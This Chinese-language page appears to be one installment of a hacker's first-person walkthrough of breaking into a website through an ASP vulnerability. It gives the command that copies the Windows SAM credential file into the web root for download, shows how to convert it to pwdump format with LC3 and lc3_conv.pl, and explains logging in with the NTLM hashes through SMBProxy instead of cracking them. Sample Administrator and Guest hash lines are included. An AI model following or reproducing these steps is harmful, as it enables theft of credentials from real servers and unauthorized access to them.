呵呵！里面由用户列表、文章列表、还有系统统计——要的就是它！哈！果然找到了，01090208.asp的绝对路径就在里面，好，输入到浏览器里面看看……出来了！

[img]/UpLoadFiles/NewsPhoto/a5_885_1.jpg[/img]

好！copy SAM文件到网页根目录下载，在命令行里面输入：

copy d:\winnt\repair\sam e:\www.target.net\sam._

已成功复制1个文件，好了，在浏览器里面输入：

http://www.target.net/sam._

下载完毕……

下一步？LC4破解？不不！用新方法SMBProxy 登录！嘻嘻！新东西！

简介:

如果拿到一个远程主机NTLMHash密码信息, 一般都会使用暴力破解来获取密码,这个程序可以使用proxy方式与远程主机验证登陆,来达到快速进入的目的.

SMBProxy程序只认可pwdump格式的密码信息,LC格式不行，所以要将我得到的SAM文件转换为pwdump格式。

pwdump格式转换方法

先打开LC3，将SAM文件导入程序，随便选择一个模式进行破解，停止破解。

[img]/UpLoadFiles/NewsPhoto/5_885_19.jpg[/img]

将项目保存为LC3的文件格式——*.lcs。

使用SMBProxy自带的工具将LC格式的文件转换为pwdump格式。

E:\>perl lc3_conv.pl 2.lcs

Administrator:500:89B9639B628096295FBE6BDC86679876:C6EBC896A3C134D4CF18063C33ACC926:::

Guest:501:4316EDA750394C6B120438C30F7F1819:00000000000000000000000000000000:::

上一页  [1] [2] [3] [4] 下一页

在google里搜索更多一次用ASP页面漏洞引发的渗透攻击

	Web www.51ec.org